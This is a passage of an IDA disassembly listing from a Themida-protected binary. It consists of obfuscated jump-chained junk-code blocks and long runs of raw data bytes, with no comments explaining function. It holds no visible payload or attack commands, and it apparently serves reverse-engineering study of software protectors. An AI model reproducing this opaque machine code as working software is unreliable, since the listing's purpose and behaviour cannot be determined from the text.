		dd 0E80158FFh, 4335F5Dh, 24043124h, 8B240433h, 2CD22424h
		dd 38E99C24h, 80FFFF2Eh, 0ED80A6EDh, 0E9DD00C3h, 0FFFF3457h
; ---------------------------------------------------------------------------


loc_59B528:				; CODE XREF: Themida_:0059FEDFj
		add	bl, al
		push	small 7E11h
		mov	[esp], ax
		mov	ah, 0E8h
		add	bl, 54h
		add	bl, ah
		sub	bl, 54h
		mov	ax, [esp]
		add	esp, 2
		push	76F9h
		jmp	loc_59E103
; ---------------------------------------------------------------------------
		dd 0E9241489h, 0FFFF75E5h, 0E902C783h, 0FFFFD094h, 8124148Bh
		dd 4C4h, 5A545200h, 4C281h, 38E90000h, 87000069h, 0B0E9242Ch
		dd 8BFFFFFEh, 0C481240Ch, 4, 0E9C1D9F7h, 0FABCE903h, 1C89FFFFh
		dd 88E5B724h, 0FB9AE9F8h, 0C781FFFFh, 4, 8B243C87h, 88502424h
		dd 4EC83CCh, 88241489h,	285788E2h, 0FF9424E9h, 2EF281FFh
		dd 0C100B012h, 0F79202EAh, 0F28192D0h, 16B631DDh, 420E9h
		dd 395BBA00h, 0EA813722h, 1A4F6094h, 0FF4449E9h, 2434FFFFh
		dd 4C4815Dh, 83000000h,	57E904C7h, 53FFFFEFh, 12454F6h
		dd 139FE95Bh, 0E6890000h, 0FFE645E9h, 68E6D1FFh, 5A29h
		dd 0FF77E8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59B615:				; CODE XREF: Themida_:0058FA18j
		neg	al
		sub	al, 1
		sub	al, 0C6h
		shl	al, 2
		xor	al, 0A0h
		jmp	loc_5909F8
; ---------------------------------------------------------------------------
		db 0F7h, 0DEh, 0E9h
		dd 16B2h, 6568B6BAh, 0FFD0016Bh, 1BE92434h, 83FFFF85h
		dd 3C3304C7h, 243C3124h, 5C243C33h, 0EC81C300h,	4, 68ECE9h
		dd 0B8505E00h, 61320DCAh, 0E9D0F748h, 7A29h
; ---------------------------------------------------------------------------


loc_59B664:				; CODE XREF: Themida_:00591D02j
		mov	edx, 461C7872h
		jmp	loc_5919E2
; ---------------------------------------------------------------------------
		dw 17BDh
		dd 0E9FBB723h, 76CDh, 9DE6F281h, 0D701035Ch, 2C7835Ah
		dd 0FF8694E9h, 285866FFh, 2685AD5h, 8900004Dh, 0B753240Ch
		dd 0B6526690h, 66F730C0h, 8BFD885Ah, 0CFE9241Ch, 68000060h
		dd 7EAE0326h, 0E5E3E95Bh
		db 2 dup(0FFh)
word_59B6B6	dw 51ACh		; DATA XREF: Themida_:0058E188o
		dd 0E950FAB1h, 0FFFFD22Ah, 81241C8Bh, 4C4h, 68C48000h
		dd 34FFE300h, 24048B24h, 4C481h, 69E90000h, 81FFFF3Ch
		dd 4C4h, 61CA6800h, 2C890000h, 575D5424h, 0FF41EDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59B6F5:				; CODE XREF: Themida_:0059CEC8j
		inc	ebx
		and	ebx, 0CE51ADBh
		shr	ebx, 8
		push	ecx
		mov	ecx, 215D0AD4h
		xor	ebx, ecx
		pop	ecx
		add	edx, ebx
		pop	ebx
		jmp	loc_59A379
; ---------------------------------------------------------------------------
		dd 5795E952h, 0D6F7FFFFh, 877EE81h, 0F129AB96h,	0FF8458E9h
		dd 241C33FFh, 4F4BE9h
		db 0
; ---------------------------------------------------------------------------


loc_59B72D:				; CODE XREF: Themida_:0059A563j
		push	esi
		mov	esi, 11C918CAh
		sub	edi, 99D0F40h
		jmp	loc_59E4FD
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 240C8B24h, 7510E9h, 24148900h, 42474FFh, 5A2434FFh
		dd 81E28952h, 4C2h, 4C28300h, 0E9241487h, 0FFFFF5E0h, 80ABC480h
		dd 0E5002BF4h, 96E95866h, 89FFFF5Ch, 4C581E5h, 0E9000000h
		dd 0FFFF7DDBh
; ---------------------------------------------------------------------------


loc_59B784:				; CODE XREF: Themida_:0059B465j
		mov	[esp], ebp
		push	2F250B7Ch
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 386377C6h
		add	ebp, eax
		pop	eax
		shl	ebp, 4
		push	538Eh
		mov	[esp], eax
		mov	eax, 0F2870B96h
		add	ebp, eax
		pop	eax
		mov	esi, ebp
		pop	ebp
		add	[esp+4], esi
		jmp	loc_590A2D
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 5B9BE904h, 8B660000h, 52682404h, 89000025h, 0E9242Ch
		dd 81FFFFB3h, 103CE5C6h, 165DE92Fh, 0DA870000h,	0EA814A5Bh
		dd 232160ADh, 0B09CEA81h, 0ED053D19h, 166FA42h,	42ED2DD0h
		dd 0E95A66FAh, 0AB6h, 0F44BDEBFh, 77CF8154h, 0C13E2C60h
		dd 0EFC108EFh, 4E7C106h, 0F781DFF7h, 0F29259ABh, 2D5FF829h
		dd 2F405EB5h, 19968h, 242C8900h, 81480ABDh, 5DE8012Bh
		dd 3392BE56h, 0CB05243Eh, 14C6638h, 38CB2DF0h, 8B5E4C66h
		dd 0C483240Ch, 0B747E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B852:				; CODE XREF: Themida_:0059F5DEj
		sub	ecx, 312F1B25h
		neg	ecx
		inc	ecx
		shl	ecx, 5
		neg	ecx
		push	esi
		mov	esi, 59BF9FB9h
		add	ecx, esi
		pop	esi
		jmp	loc_597511
; ---------------------------------------------------------------------------
		dw 0FF55h
		dd 5D042474h, 0FF727BE9h, 0EA2958FFh, 1EA815Dh,	0E94D8E28h
		dd 0FFFF2ACBh, 4BBh, 0E9D80100h, 0FFFFECC8h, 3EFBE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B89A:				; CODE XREF: Themida_:00594B69j
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_599B4A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 24343300h, 33243431h, 248B2434h, 240CD324h, 2A89E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B8CA:				; CODE XREF: Themida_:0058F170j
		sub	edx, 70D379D5h
		add	edx, esi
		add	edx, 70D379D5h
		mov	esi, [esp]
		add	esp, 4
		sub	edx, 4
		xor	edx, [esp]
		jmp	loc_58EAB4
; ---------------------------------------------------------------------------
		dd 8F34E3B9h, 28E98146h, 522FB050h, 0D44FC2BAh,	98CA8175h
		dd 0C1067D67h, 0ECE903E2h, 5DFFFF51h, 142DE9h, 4ED8300h
		dd 5C242C87h, 68240489h, 5CD4h,	68240C89h, 7DE0h, 68242C89h
		dd 61C27C92h, 4475E9h
		db 0
byte_59B935	db 66h,	8Bh, 4		; DATA XREF: Themida_:0058E0D4o
		dd 5D545524h, 4C581h, 0EC830000h, 24148904h, 0B357B968h
		dd 24148B46h, 4C481h, 0BB530000h, 1, 1C8BDA29h,	4C48324h
		dd 68h,	24142900h, 0FF837DE9h, 24248BFFh, 6768E9F7h, 0E9000037h
		dd 3CF3h, 8958C529h, 242C8BE8h,	0E904C483h, 6F3Eh, 4244481h
		dd 26E52447h, 4244481h,	5DB23B3Fh, 4246C81h, 3A2D7B7Dh
		dd 4245401h, 4244481h, 3A2D7B7Dh, 0FF36C3E9h, 24248BFFh
		dd 0BE243489h, 68A4227Fh, 34FFF029h, 24348B24h,	5699E9h
		db 0
; ---------------------------------------------------------------------------


loc_59B9D1:				; CODE XREF: Themida_:005A0BF5j
		push	ecx
		mov	ecx, 76BB70D8h
		xor	ecx, 19A3384Ch
		dec	ecx
		xor	ecx, 6F184897h
		jmp	loc_58F532
; ---------------------------------------------------------------------------
		db 59h,	80h, 0C7h
		dd 0ACC78036h, 0FFA3FEE9h, 93F281FFh, 29CE8DF3h, 2434FFD0h
		dd 0E924148Bh, 4B5Eh, 0C281E289h, 4, 61E95256h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59BA17:				; CODE XREF: Themida_:00590EC5j
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		push	ebp
		jmp	loc_599D79
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FFBBEEE9h, 0FF5450FFh, 81582434h, 4C4h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		push	ebp
		push	edx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_590C21
; ---------------------------------------------------------------------------


loc_59BA64:				; CODE XREF: Themida_:0059EEF5j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0
		mov	eax, esi
		jmp	loc_5951E2
; ---------------------------------------------------------------------------
		db 68h,	0B6h, 32h
		dd 815E3DCDh, 355693CEh, 96CE817Ah, 466D1D52h, 1E0EF681h
		dd 0F5891498h, 8124348Bh, 4C4h,	4EC8100h, 89000000h, 50BD242Ch
		dd 81607475h, 0D7A679C5h, 0E9E829E8h, 72E4h, 0C026E180h
		dd 0C18005E9h, 0F6C1FEECh, 0FEC9FED9h, 6FB652C9h, 524BE9h
		dd 72F18100h, 0E9220528h, 42D6h
dword_59BADC	dd 1BF105ADh, 0D8013AADh, 1BF1BF57h, 0BE563AADh, 9D754F3h
					; DATA XREF: Themida_:0058E21Co
		dd 525EF029h, 6A6B6EBAh, 693FE97Dh, 0ED810000h,	1F9E19B4h
		dd 0FFEA13E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59BB09:				; CODE XREF: Themida_:0059141Aj
		add	esp, 4
		push	eax
		mov	eax, 51090FBCh
		dec	eax
		add	eax, 0C387120h
		and	eax, 2198642Bh
		push	ebp
		jmp	loc_59862A
; ---------------------------------------------------------------------------
byte_59BB23	db 66h			; DATA XREF: Themida_:0058E0F8o
		dd 0E9240C8Bh, 503Eh, 592434FFh, 4DE95456h
		db 3Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59BB37:				; CODE XREF: Themida_:0058ED1Cj
		push	63A8h
		mov	[esp], edx
		mov	dl, 67h
		sub	dl, 49h
		shl	dl, 5
		jmp	loc_5A0AE2
; ---------------------------------------------------------------------------
		dd 242C895Ch, 0FFC0D0E9h, 8BE730FFh, 89522404h,	4C281E2h
		dd 83000000h, 14E904C2h, 0B8FFFF3Ch, 14486B86h,	135D8F7h
		dd 9AF98C6h, 24048BC3h,	81E68956h, 4C6h, 4C68300h, 0E9243433h
		dd 0CC3h
; ---------------------------------------------------------------------------


loc_59BB90:				; CODE XREF: Themida_:00591BE5j
		mov	edx, [esp]
		add	esp, 4
		push	5359h
		mov	[esp], ecx
		mov	ecx, 6D682484h
		jmp	loc_5A2E6D
; ---------------------------------------------------------------------------


loc_59BBA8:				; CODE XREF: Themida_:0059B06Bj
		pop	esi
		jmp	loc_596321
; ---------------------------------------------------------------------------
		dw 50BDh
		dd 108A4B6h, 240C8BCDh,	2A65E9h, 0AF685500h, 89000015h
		dd 0A2E9241Ch, 0BBFFFF33h, 0A5A70F58h, 895BDF01h, 0DF015FFBh
		dd 50A3E95Bh, 248BFFFFh, 240C8924h, 3D51B1B9h, 0A0E95277h
		db 46h,	2 dup(0FFh)
byte_59BBEF	db 83h			; DATA XREF: Themida_:0058E1B8o
		dd 2C8904ECh, 2039E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59BBFA:				; CODE XREF: Themida_:005A1B17j
		sub	edx, 66822774h
		sub	edx, 419D1FF8h
		jmp	loc_596EB1
; ---------------------------------------------------------------------------
		db 57h
		dd 94E9E789h
		db 4Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59BC13:				; CODE XREF: Themida_:005A17A6j
		jmp	loc_58E353
; ---------------------------------------------------------------------------
		dd 0FF665366h, 66022474h, 2DFBE95Bh, 0F387FFFFh, 0FFAE0FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59BC2D:				; CODE XREF: Themida_:0059A773j
		push	eax
		mov	eax, 6B0F3FB6h
		add	dword ptr [esp+4], 3DF847E4h
		sub	[esp+4], eax
		jmp	loc_59A7A1
; ---------------------------------------------------------------------------


loc_59BC44:				; CODE XREF: Themida_:00593BF5j
		add	eax, edx
		push	ebx
		mov	ebx, 50066E28h
		sub	ebx, 451C6318h
		jmp	loc_5A1F4D
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0BEC78100h, 161470Ch, 0BEEF81CFh, 8161470Ch, 1A5806C7h
		dd 240C8B66h, 8104C483h, 4ECh, 24048900h, 2BB53h, 0CE90000h
		dd 81FFFF39h, 274426EDh, 2C335841h, 0AD6BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59BC9A:				; CODE XREF: Themida_:0059C375j
		push	2BE42D67h
		pop	edi
		not	edi
		xor	edi, 0D41BD299h
		mov	ecx, edi
		jmp	loc_590158
; ---------------------------------------------------------------------------


loc_59BCAF:				; CODE XREF: Themida_:00594CBBj
		sub	eax, 28307AA5h
		add	eax, edx
		add	eax, 28307AA5h
		pop	edx
		add	eax, ecx
		jmp	loc_5991F3
; ---------------------------------------------------------------------------
		db 5Eh
		dd 3EE9FD01h, 5DFFFF6Ah, 8705EDC1h, 6ADBE9FDh, 295B0000h
		dd 24148BD0h, 4C481h, 0BE560000h, 2B81480Ah, 515EF029h
		dd 405EB5B9h, 0CB3E92Fh, 0B5510000h, 8BE82832h,	8951240Ch
		dd 6484E9E1h, 0EE83FFFFh, 24348704h, 59A3E95Ch,	89510000h
		dd 0D8CFE9E1h, 0C581FFFFh, 0ED31881h, 0FEE2C581h, 0EE89D7A8h
		dd 52E6815Dh, 56312343h, 0E92414F7h, 0FFFFA069h
; ---------------------------------------------------------------------------


loc_59BD38:				; CODE XREF: Themida_:0059D9B7j
		not	eax
		add	eax, 1
		sub	eax, 9A0DB0A2h
		add	esi, eax
		pop	eax
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_5A0216
; ---------------------------------------------------------------------------
		db 0BEh, 4Bh, 0
		dd 0EBE93580h, 89FFFF52h, 0EB815DEBh, 43DA6F72h, 8303EBC1h
		dd 0F381FFEBh, 3F4D0798h, 1F4AE381h, 0C381539Fh, 1EB30C75h
		dd 0F75BD929h, 0E913E9D9h, 5BFFFFh, 0C8B66C8h, 2C48324h
		dd 0BCE9D828h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59BD9B:				; CODE XREF: Themida_:00594730j
		pop	dword ptr [esp]
		pop	esp
		sub	[esp+4], ebx
		add	dword ptr [esp+4], 1DDB3106h
		pop	ebx
		jmp	loc_59FA87
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0F0h
		dd 810CC618h, 0AC6B4FEEh, 57EE8143h, 10C654Dh, 57C681CEh
		dd 810C654Dh, 0AC6B4FC6h, 9366E943h, 0C681FFFFh, 0FFFFFFFFh
		dd 0FF9D82E9h, 554EBDFFh, 535202B4h, 354D75BBh,	93FBA7Bh
		dd 0DA313A5Ah, 5AD5315Bh, 0FF90FEE9h, 0E9D388FFh, 0FFFFA856h
		dd 0D67DE95Ch, 835CFFFFh, 48904ECh, 277B824h, 71055A15h
		dd 51CFA174h, 2F39C2B9h, 46E1810Fh, 0C10FD311h,	0C18103E9h
		dd 79C81976h, 4B8E981h,	300551F2h, 0E968BE52h, 0FFFF30D3h
		dd 0E92434FFh, 0FFFF6ACAh, 6EE9FE88h
		db 33h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59BE4F:				; CODE XREF: Themida_:00590524j
		sub	dh, 0FFh
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 45h
		inc	bl
		shr	bl, 2
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 0D0h
		or	bl, cl
		pop	ecx
		sub	bl, 0B6h
		xor	dh, bl
		mov	ebx, [esp]
		push	ecx
		jmp	loc_59AB1F
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0F6DAE924h, 0F829FFFFh, 1215E9h
		db 0
; ---------------------------------------------------------------------------


loc_59BE8D:				; CODE XREF: Themida_:005999EAj
		sub	edx, 4
		jmp	loc_59CFAE
; ---------------------------------------------------------------------------
		db 31h,	34h, 24h
		dd 5C243433h, 89242C89h, 4C581E5h, 83000000h, 2C8704C5h
		dd 685D5C24h, 662Ch, 0BB241C89h, 400h, 34FFD821h, 54525B24h
		dd 4DE5E9h
		db 0
; ---------------------------------------------------------------------------


loc_59BEC9:				; CODE XREF: Themida_:00596C13j
		mov	[esp], ebp
		push	eax
		push	6A12h
		mov	[esp], edi
		jmp	loc_591E02
; ---------------------------------------------------------------------------


loc_59BEDA:				; CODE XREF: Themida_:0059A92Cj
		add	esp, 4
		sub	eax, 66F67FC2h
		jmp	loc_58F232
; ---------------------------------------------------------------------------
		db 51h
		dd 7A3D20B9h, 62F1812Ah, 50030E36h, 5055D4B8h, 58C1313Ah
		dd 8B59CE29h, 0C483242Ch, 24348704h, 0FF3108E9h, 68D6F7FFh
		dd 3746h, 0E9240C89h, 0FFFFF59Dh, 5C243C33h, 24042166h
		dd 2429E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59BF2A:				; CODE XREF: Themida_:0059488Cj
		mov	dl, 33h
		jmp	loc_59767C
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 68241489h, 517E7BB6h, 0AAE2815Ah, 81150456h,	9627EBCAh
		dd 4EC8149h, 89000000h,	7E68242Ch, 5D205978h, 0E949CD87h
		dd 0FFFF7A7Bh, 33C8E981h, 0D12970BCh, 33C8C181h, 875A70BCh
		dd 0E95C240Ch, 6D22h, 8059EC30h, 0C6804DECh, 0E9E600DFh
		dd 0FFFF3B33h, 89D0E95Ah
		db 2 dup(0FFh)
aFrs		db 'fRé{$',0            ; DATA XREF: Themida_:0058E2E8o
		dd 0D3685100h, 595B4921h, 4366E9h, 4C48100h, 52000000h
		dd 42474FFh, 0E924148Bh, 66C4h,	8104C483h, 4C7h, 4EF8300h
		dd 0FFCD4FE9h
		db 0FFh
byte_59BFC5	db 66h,	8Bh, 24h	; DATA XREF: Themida_:0058E0D0o
		dd 2385E924h, 0EB88FFFFh, 24148B59h, 0E904C483h, 0FFFFE451h
		dd 4EC81h, 25E90000h, 1FFFFCEh,	0C18358C1h, 240C8704h
		dd 47BEE95Ch, 0C5810000h, 0CF42BAA2h, 2C8BE901h, 4C48124h
		dd 0E9000000h, 0FFFF87B6h, 18E8C15Ch, 0AC68C831h, 89000070h
		dd 34312404h, 24343324h, 31243431h, 31F731FEh, 4EC81FEh
		dd 89000000h, 0E956243Ch, 566Fh
; ---------------------------------------------------------------------------


loc_59C038:				; CODE XREF: Themida_:0059CE05j
		xor	bl, 91h
		dec	bl
		add	bl, 20h
		jmp	loc_59408F
; ---------------------------------------------------------------------------
		db 29h,	0F8h, 5Fh
		dd 5C240487h, 57240C89h, 7A6412BFh, 3AB9511Ch, 916BE09h
		dd 0F78159CFh, 1EFE6D38h, 0E95FF989h, 0FFFF999Ah, 8B1C6F09h
		dd 0E950242Ch, 58FCh, 5524048Fh, 4BDh, 246C0100h, 3C8B5D04h
		dd 0E7895724h, 0FF8872E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59C091:				; CODE XREF: Themida_:005974E1j
		add	ecx, ebx
		pop	ebx
		add	edi, ecx
		pop	ecx
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 20BC1BD0h
		add	edx, edi
		pop	edi
		sub	esi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58F45E
; ---------------------------------------------------------------------------
		dd 6853E2D1h, 6E883234h, 35EB815Bh, 296E8832h, 1C8B245Fh
		dd 4EC8124h, 89000000h,	0E189240Ch, 2725BB53h, 0BF573BAEh
		dd 5C406DECh, 4B5FFB29h, 8103EBC1h, 0EDB723EBh,	74C1811Bh
		dd 81445C01h, 475503C1h, 7DC18153h, 1233203h, 7DE981D9h
		dd 81233203h, 475503E9h, 74E98153h, 8B445C01h, 0C483241Ch
		dd 6922E904h, 34890000h, 2474FF24h, 48F5E04h, 0E9815C24h
		dd 4, 33BAE9h, 0E6C15B00h, 1EE8102h, 0F7000000h, 4ED6F7DEh
		dd 451BE9h, 89666400h, 21FDE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C156:				; CODE XREF: Themida_:00597F19j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_595639
; ---------------------------------------------------------------------------


loc_59C162:				; CODE XREF: Themida_:005A0965j
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	ebx
		mov	ebx, 2
		push	ecx
		push	ebx
		jmp	loc_5A2837
; ---------------------------------------------------------------------------
		db 81h
		dd 5858FFC9h, 0DD45E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C182:				; CODE XREF: Themida_:005A1F59j
		sub	eax, 1F531804h
		add	eax, ebx
		add	eax, 1F531804h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_592E30
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
aLS4q		db '‹$$é4Q',0
		align 4
		dd 31240C33h, 0C33240Ch, 24248B24h, 16B68h, 24248900h
		dd 7E0FBE56h, 0F681426Ch, 5F8E513Dh, 5656C681h,	0F6816A04h
		dd 87E6858Ch, 4247401h,	24048F5Eh, 81E68956h, 4C6h, 5F50E900h
		dd 0E781FFFFh, 1D7105A7h, 44A2C781h, 0B85031BEh, 233418A3h
		dd 29D8EA81h, 0C2010EB9h, 61DE68h, 243C8900h, 0B929D8BFh
		dd 5FFA010Eh, 8324048Bh, 0FA2904C4h, 18A3EA81h,	0E95F2334h
		dd 5271h, 4B0F68h, 24148900h, 0B951E289h, 4, 5689E9h, 6800h
		dd 14290000h, 0E2C15A24h, 0BF0CE903h, 0ED81FFFFh, 0EBC0C709h
		dd 2D2CB92Dh, 5E82927h,	272D2CB9h, 0BFACE95Dh, 0C483FFFFh
		dd 0F2015D04h, 243C8B5Eh, 8304C483h, 0FF5202C2h, 5A042474h
		dd 8B24048Fh, 0C0E92424h, 81FFFF2Eh, 1B39D3F5h,	3CE581F6h
		dd 813D787Bh, 182A2EF5h, 96C68105h, 8113245Eh, 0FA6C38C6h
		dd 0E9EE012Ch, 0FFFFED3Dh, 0B4D6B753h, 5AE9E9A0h, 0E883FFFFh
		dd 24048704h, 241C895Ch, 0FF3A94E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59C2C5:				; CODE XREF: Themida_:0059F541j
		mov	eax, 2223358Eh
		jmp	loc_59F487
; ---------------------------------------------------------------------------
		db 0BBh
		dd 75C37148h, 815BDA89h, 0B36CDEE2h, 98EA8107h,	313FCD5Fh
		dd 24148BD3h, 4C481h, 0DD010000h, 81241C8Bh, 4C4h, 4C58300h
		dd 180AE9h, 12F0BB00h, 0E1E9D822h, 8BFFFFDEh, 89572404h
		dd 4C781E7h, 0E9000000h, 0FFFF4DC2h
dword_59C31C	dd 240C8B66h, 8904EC83h, 0E189240Ch, 8904EC83h,	0F0E9241Ch
					; DATA XREF: Themida_:0058E23Co
		dd 0C100005Fh, 0F78106E7h, 793C779Fh, 64CCE9h, 0C4835C00h
		dd 8BD82104h, 0C483241Ch, 58515004h, 0E9D1F759h, 0FFFFDBEFh
; ---------------------------------------------------------------------------


loc_59C358:				; CODE XREF: Themida_:00599E74j
		push	edi
		push	ecx
		mov	ecx, 1E8271DEh
		mov	edi, ecx
		pop	ecx
		shl	edi, 6
		add	edi, 19D262ECh
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		jmp	loc_59BC9A
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 74DF5119h, 45A0EF81h, 0CF01758Bh, 0FFABDBE9h, 65B968FFh
		dd 14890000h, 1038E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59C39A:				; CODE XREF: Themida_:005972C3j
		mov	eax, 1E882743h
		add	[esp+0Ch], eax
		pop	eax
		jmp	loc_5A0E62
; ---------------------------------------------------------------------------
		db 5Fh,	31h, 0E8h
		dd 52242C8Bh, 0C281E289h, 4, 8704C283h,	0F7E92414h, 6800005Ah
		dd 513B3350h, 0FFDDB8E9h, 241C8BFFh, 0E904C483h, 0FFFF32AFh
		dd 2B79C681h, 0DE010645h, 2B79EE81h, 575B0645h,	8AFDE951h
		dd 0E954FFFFh, 0FFFF3D29h
; ---------------------------------------------------------------------------


loc_59C3F4:				; CODE XREF: Themida_:00598486j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	edi
		push	esp
		jmp	loc_593902
; ---------------------------------------------------------------------------
byte_59C407	db 0ADh			; DATA XREF: Themida_:0058E11Co
		dd 5357D831h, 8904EC83h, 0E2892414h, 4676E9h
		db 0
; ---------------------------------------------------------------------------


loc_59C419:				; CODE XREF: Themida_:005A08EAj
		add	edx, 600313A1h
		push	ebp
		jmp	loc_5A1436
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 1Dh
a11sscd		db '~11Sécd',0
		dd 24343300h, 3324248Bh, 10E92414h, 57000061h, 7E2E16BFh
		dd 0BEA5E92Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C44A:				; CODE XREF: Themida_:005A1204j
		add	bl, ah
		sub	bl, 0E1h
		pop	ax
		sub	bl, al
		jmp	loc_5960E5
; ---------------------------------------------------------------------------
		dd 74FF5158h, 0C8B0424h, 4C48124h, 0E9000000h, 3B07h, 81241C8Bh
		dd 4C4h, 4B85000h, 1000000h, 0BE5658C3h, 4, 875EF301h
		dd 0FDE9241Ch
		db 46h,	2 dup(0FFh)
byte_59C48F	db 0ACh			; DATA XREF: Themida_:0058E20Co
		dd 0EC81D830h, 4, 51241489h, 0B1F7B252h, 0FFD128E1h, 575A2434h
		dd 0FF95CDE9h, 243C33FFh, 6624248Bh, 9C2424D3h,	0FF4AAFE9h
		dd 2414F7FFh, 0FF9DD4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59C4C5:				; CODE XREF: Themida_:005916AEj
		xchg	eax, [esp]
		jmp	loc_59156C
; ---------------------------------------------------------------------------
		db 0C1h, 0E0h, 5
		dd 792E9h, 0D3885300h, 1434E9h,	5DEE2900h, 1ABAB951h, 0C1813C05h
		dd 56F24C78h, 0FDE9CE31h, 81FFFF50h, 615A65E3h,	29B95146h
		dd 8129FD7Dh, 79436DF1h, 6579E945h, 0FE050000h,	0E912935Ch
		dd 0FFFF2002h, 0E955E089h, 0FFFF59DEh
aMrh		db '¬RhÈ$',0            ; DATA XREF: Themida_:0058E284o
		dw 8900h
		dd 66E92404h, 81FFFF5Bh, 243225F6h, 53E95108h, 83FFFF3Eh
		dd 0C48104C4h, 4, 57E18951h, 4BFh, 5FF90100h, 708E9h, 355D6800h
		dd 1C890000h, 79E95D24h, 8700003Ch, 248B2414h, 4C68124h
		dd 0E9000000h, 0FFFFBE0Eh, 8324048Bh, 0E95104C4h, 103Dh
		dd 0A2EF57B8h, 58C629D6h, 0DD8FE952h
		db 2 dup(0FFh)
word_59C58A	dw 4F68h		; DATA XREF: Themida_:0058E078o
		dd 8900006Eh, 0BCE92414h, 57FFFF1Dh, 0FF834EE9h, 4C483FFh
		dd 66D9BA52h, 0D02912ECh, 0B4BF575Ah, 2D75EA7Ah, 71F62C3Fh
		dd 0FFF8CDE9h, 24248BFFh, 87240489h, 54E92434h,	1FFFF67h
		dd 0FCE95EF0h, 81000057h, 104F5FF1h, 0C1814903h, 196BE213h
		dd 0C8BCD29h, 0E6895624h, 4C681h, 0C6830000h, 24348704h
		dd 7BE7E95Ch, 0C8BFFFFh, 2A726824h, 0C890000h, 81595424h
		dd 4C1h, 4C18300h, 5C240C87h, 4A47E9h, 1DA12D00h, 6B05098Bh
		dd 681AF701h, 21BDh, 0FFB031E9h, 242C89FFh, 0FF2BAAE9h
		dd 23EE81FFh, 4E6CA759h, 971CC681h, 0DE92BB1h, 8300002Ch
		dd 766804C4h, 89000009h, 34812434h, 672EB24h, 2434FF2Bh
		dd 2B37E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C65E:				; CODE XREF: Themida_:005935A9j
		add	esi, 2
		xchg	esi, [esp]
		mov	esp, [esp]
		push	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_594547
; ---------------------------------------------------------------------------
		dw 0FF51h
		dd 59042474h, 8B24048Fh, 14892424h, 4EC8324h, 68240489h
		dd 1869h, 6472E9h, 88D7F600h, 0C05B66FEh, 0E6D008EEh, 93E68h
		dd 24048900h, 0E8C014B0h, 24AE2403h, 28342C89h,	2434FFC6h
		dd 4C48358h, 8006E6C0h,	0F0004BC6h, 5C8CE9h, 25E38100h
		dd 0C17B7A78h, 0CB8104E3h, 548E0891h, 280AEB81h, 0EB814F1Dh
		dd 0E3F9FBEEh, 665BD801h, 60E930FFh, 5AFFFF1Ch,	0F1685652h
		dd 5E6B757Eh, 57A3EE81h, 0AE9FA6Fh, 5BFFFFD0h, 81241C8Bh
		dd 4C4h, 5E5C100h, 8904EC83h, 79B82404h, 0E9E530D2h, 0FFFFF25Ch
		dd 0BB5ED81h, 0ABE96C9Eh, 0B9FFFF98h, 126A40F4h, 4905E9C1h
		dd 8106E1C1h, 2A94BBF1h, 0C8895005h, 5958C289h,	815AD589h
		dd 9D0B58C5h, 27E86870h, 34890000h, 213BBE24h, 0BE92413h
		db 14h,	2 dup(0)
byte_59C763	db 66h			; DATA XREF: Themida_:0058E150o
		dd 56240C8Bh, 39E568h, 24248900h, 4240481h, 0FF000000h
